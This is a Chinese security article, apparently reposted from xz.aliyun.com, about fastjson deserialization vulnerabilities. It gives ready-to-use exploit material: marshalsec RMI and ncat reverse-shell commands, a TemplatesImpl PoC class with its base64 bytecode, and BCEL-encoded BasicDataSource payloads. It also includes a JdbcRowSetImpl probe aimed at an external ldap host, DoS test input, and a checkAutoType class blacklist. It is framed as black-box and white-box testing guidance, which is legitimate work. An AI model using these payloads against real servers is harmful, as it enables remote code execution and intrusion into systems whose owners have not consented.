某json 黑盒盲测与白盒审计
2020-01-19 10:35:26 Author: xz.aliyun.com(查看原文) 阅读量:502 收藏

简介与漏洞史

java处理JSON数据有三个比较流行的类库,gson(google维护)、jackson、以及今天的主角fastjson,fastjson是阿里巴巴一个开源的json相关的java library,地址在这里,https://github.com/alibaba/fastjson,Fastjson可以将java的对象转换成json的形式,也可以用来将json转换成java对象,效率较高,被广泛的用在web服务以及android上,它的JSONString()方法可以将java的对象转换成json格式,同样通过parseObject方法可以将json数据转换成java的对象.

fastjson漏洞历史

fastjson-1.2.24
(fastjson接受的JSON可以通过艾特type字段来指定该JSON应当还原成何种类型的对象,在反序列化的时候方便操作)
fastjson-1.248以下
(从而导致checkAutoType在检测是否为黑名单的时候绕了过去,因为上一步将com.sun.rowset.JdbcRowSetImpl放入了mapping中,checkAutoType中使用TypeUtils.getClassFromMapping(typeName)去获取class不为空,从而绕过了黑名单检测)
fastjson-1.2.60以下
(在此版本以下,字符串中包含\x转义字符时可以造成dos漏洞)

漏洞复现

本地测试环境


本地的版本java版本为1.8.0_181
fastjson版本为1.2.24
tomcat 版本为 7

然而从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

安全版本
JDK( 8u121, 7u131, 6u141 )
RMI(JDK 6u132, 7u122, or 8u113 )

fastjson两种利用方式 - 出网或者不能出网

1.服务器出网
使用jndi注入
-ldap -rmi
2.服务器不能出网
直接本地反序列化
-BasicDataSource(tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4)
-TemplatesImpl

出网

jndi利用,其中分为rmi或者ldap,使用ldap限制比rmi小

rmi利用
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://x.x.x.x/#Poc" 9999
python -m SimpleHTTPServer 80
ncat –lvvp 9998
Burp发送poc

图三是获取shell

不能出网

1.直接反序列化-_bytecodes直接反序列化Poc

JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes却是私有属性,_name也是私有域,所以在parseObject的时候需要设置Feature.SupportNonPublicField,这样_bytecodes字段才会被反序列化。_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法而大部分的开发可能用用JSON.parse(input)就了事儿了,同时使用了parseObject和Feature.SupportNonPublicField设置的估计不多。所以说实际环境中挖掘fastjson的这个漏洞应该是可遇不可求

利用代码如下:

{"艾特type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["poc.class_base64"],'_name':'a.b','_tfactory':{ },"_outputProperties":{},"_name":"a","_version":"1.0","allowedProtocols":"all"}

具体Poc.java代码如下

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Poc extends AbstractTranslet {
public Poc() throws IOException {
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
    }
    public static void main(String[] args) throws Exception {
        Poc t = new Poc();
    }
}

首先编译poc得到字节码,然后用pyhton进行编码生成byte后的代码

import base64
fin = open(r"Poc.class", "rb")
fout = open(r"en1.txt", "w")
s = base64.encodestring(fin.read()).replace("\n", "")
fout.write(s)
fin.close()
fout.close()

Poc1.class进行base64并且要替换换行'\n', 后代码如下

yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALcG9jMTExLmphdmEMAAgACQcAIQwAIgAjAQAMdG91Y2ggL3RtcC8xDAAkACUBAAZQb2MxMTEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACQAEAAoADQALAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAADgABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAEQAMAAAABAABABEACQASABMAAgAKAAAAJQACAAEAAAAJuwAFWbcABlexAAAAAQALAAAACgACAAAAFAAIABUADAAAAAQAAQAUAAEAFQAAAAIAFg==

最终poc

{"艾特type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAAgACQcAIQwAIgAjAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAJAAlAQADUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACwAAAA4AAwAAAAsABAAMAA0ADQAMAAAABAABAA0AAQAOAA8AAQAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAABEAAQAOABAAAgAKAAAAGQAAAAMAAAABsQAAAAEACwAAAAYAAQAAABYADAAAAAQAAQARAAkAEgATAAIACgAAACUAAgACAAAACbsABVm3AAZMsQAAAAEACwAAAAoAAgAAABkACAAaAAwAAAAEAAEAFAABABUAAAACABY="],'_name':'a.b','_tfactory':{ },"_outputProperties":{},"_name":"a","_version":"1.0","allowedProtocols":"all"}

关键调用链如下

命令执行如下

2.直接反序列化-dbcp
依赖
commons-dbcp.jar
org.apache.commons.dbcp.BasicDataSource
Spring在第三方依赖包中包含了两个数据源的实现类包,其一是Apache的DBCP.

依赖tomcat-dbcp.jar(tomcat部署自带)
org.apache.tomcat.dbcp.dbcp.BasicDataSource

运行Poc1得到

$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$adR$ddj$TA$Y$3d$93$a4$d9d$bbmMc$5bS$ffZ$b5$9az$d1A$f0F$ob$b1$8a$85$d4$96$s$u$d2$ab$c9fLGvg$c2$ecD$82$P$e4$bd7V$U$7c$A$lJ$fcv$8dI$c0$80$V$dce$e6$9b9$7b$ce$f7$bb$df$7f$7c$f9$G$e0$3en$fb$f0$b0$e6$e3$Sj$r$ac$a7$f6$b2$87$x$3e$e6$b0$e6$e1$wC$f1$a1$d2$ca$3db$c8$d7$b7_2$U$9e$98$aedXj$w$z_$M$e2$8e$b4m$d1$89$I$f1$9f$OC$d9w$ca$e8$c4$c35$86$b2$b3B$to$8c$8d$Z$3e$d4$9b$a1$89y2$d0$dc$d8$k$X$7d$R$9eJ$3e$U$91$d0$5ci$t$ad$W$R$l$s$91$L$f9$de$e1Ac$s9$8e$s$d4$ae$8b$f9$5e$fb$60w$a8$92$7d$82$843$f6$ef$a2DZ$r$o$f5$5eZ$de$g$jE$9a$ees$a1$bb$91$b4$8d$b4$3a$fbo$89$9e$fc$87$a0$k$aeSWc$a14$c3j$fd$a4$f9V$bc$T$9c$e2$f5x$cbY$a5$7b$Ze$83$fa$db2$D$h$cag$wmv$e9$c8$84$3b$v3$40$Je$P$9b$Bn$e0$sC$e0$cc$m$3c$dd$e0$$$ee$f3$7b$Bna$8b$e6F$5c$86$c7$e7$ad$cb$O$b4S$b1$e4$bb$9d$84$s$Y$bav$3a$c6H$3a$86j$96$9a2$7c$ffp$3ck$86$H$e7u$fc$db$d1$94$b6$3a$vv$K$adL$d0$e3_$c9P$f5$3d$e9$c6$97$95$fav$f3$PN$83$ba$u$87$92J$bdS$9f$d1$c4$v$e8$c8$9aP$sI$D$9b$f4$93$7bH$9f$CX$daH$e4$e0$d3m$87$y$p$bbx$f7$M$ec3r$cb$f9O$u$bc$faH$I$c3$7c$8a$pO$fb$3c$a9$C$y$d0$h$8c$3c$y$d0Z$c4$S$ed$a9$97Z$86$92f$o$yfn$x$Z$ed$c2$uXJ$cb$cf$a2$ad$8e$fdV$u$b3eTG$82$z$b29$b2$e5$af$98$7b$7d$86bs$o$f4$b3$P5$we$7d$y$beHk$85$ce9$ac$fe$E$i$98$ab$f0$f4$D$A$A

最终poc

{"艾特type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"艾特type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource","driverClassLoader": {"艾特type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7d$91$cfN$C1$Q$c6$bf$c2$$$c5$ba$C$o$e2$3fD$b8$n$HI$bcJ$bc$YM$d0U$P$Q$8e$seidq$dd$dd$y$8b$f1$8d$3csQ$e3$c1$H$f0$a1$8c$b3$F5$5el$d2$99$ce7$9d_$a7$ed$c7$e7$db$3b$80C$d4$F$b2$d801$li$81Mlql$L$98$d8$e1$a8p$ec2d$da$ae$ef$c6$c7$M$e9$c6$7e$9f$c18$J$86$8a$no$bb$be$ba$9a$de$PT$d4$93$D$8f$94$a2$j8$d2$eb$cb$c8M$e2$85h$c4$pw$c2$c0$ed$89$a7Tx$c4$90m$3b$de$82$c7$u_$b3$c7$f2A$b6$3c$e9$df$b6$3a$7e$ac$a2h$g$c6jx$fa$e8$a80v$D$9f$wV$ba$b1t$ee$$e$a8$91$d4$j$83$e8$G$d3$c8Qgnr$84$d0$e8$83$84ca$J$82$a3j$a1$82$3d$86$ea$ffl$L5$I$GS$d73$U$7ew_$P$c6$ca$89$ffH$bdQ$a4$e4$90$$$d48O$5e$n$lF$ae$l$eb$cez$91t$U$ea$e0$f4$94$c9H$81$rm$90$5d$a6$a8E$9e$917$9b$_$603$9d$b6$c8f$b4H$97$pk$cd7$m$87$3c$f9$y$K$3f$c57$g$G$e4KH$bd$c2xB$f6$a2$f9$8c$ccL$8b$Z$3a$c5DZ$e3$caH$fe$d0$m$8dkU$d0$wG$a8o$bc$a0$dc$w$8a$U$ad$d1$e4Hu8J$G$r$d6uG$e5$_$H$X$vT$R$C$A$A"}

黑白盒测试方法

利用链及版本

Payload PayloadType Dependencies
BasicDataSource local tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4
JdbcRowSetImpl jndi Fastjson 1.2.47及以下
TemplatesImp local need Feature.SupportNonPublicField

黑盒测试

1.目标站点如果报错的话一般使用不闭合{花括号或者多添加"双引号来进行测试

2.fastjson与jackson区别,如果请求包中的 json 如下:
{"name":"S", "age":21}
追加一个随机 key ,修改 json 为
{"name":"S", "age":21,"agsbdkjada__ss_d":123}
这里 fastjson 是不会报错的, Jackson 因为强制 key 与 javabean 属性对齐,只能 少不能多 key,
所以会报错,服务器的响应包中多少会有异常回显

3.dos检测 dos
{"a:"\x 看返回时间

4.如果是json字符串中name字段存在反序列化
{"id":"1","name":"wangwei"}那么poc就是
{"id":"1","name":{"艾特type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"艾特type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://fatjaon.tuq75v.ceye.io","autoCommit":true}}

小tips
1.在测试过程中发现只要回显比较慢,或者感觉卡顿都有可能是正在执行命令,所以比较慢
2.poc.java文件用低版本的java环境编译,因为java是向下兼容的,防止目标环境加载的时候运行报错,最好是jdk1.6

白盒审计函数

1.查看fastjson jar包是否小于1.2.48
2.审查以下函数
JSON.parseObject()
JSONObject.parseObject()
JSON.parseAarry()

黑名单

config.checkAutoType(typeName)

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

https://github.com/alibaba/fastjson/commit/d52085ef54b32dfd963186e583cbcdfff5d101b5

参考

https://github.com/c0ny1/FastjsonExploit
https://github.com/shengqi158/fastjson-remote-code-execute-poc
https://www.cnblogs.com/hac425/p/9800288.html
https://blog.csdn.net/yaofeino1/article/details/76377080
https://blog.riskivy.com/无损检测fastjson-dos漏洞以及盲区分fastjson与jackson组件/
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

文章来源: http://xz.aliyun.com/t/7104
如有侵权请联系:admin#unsafe.sh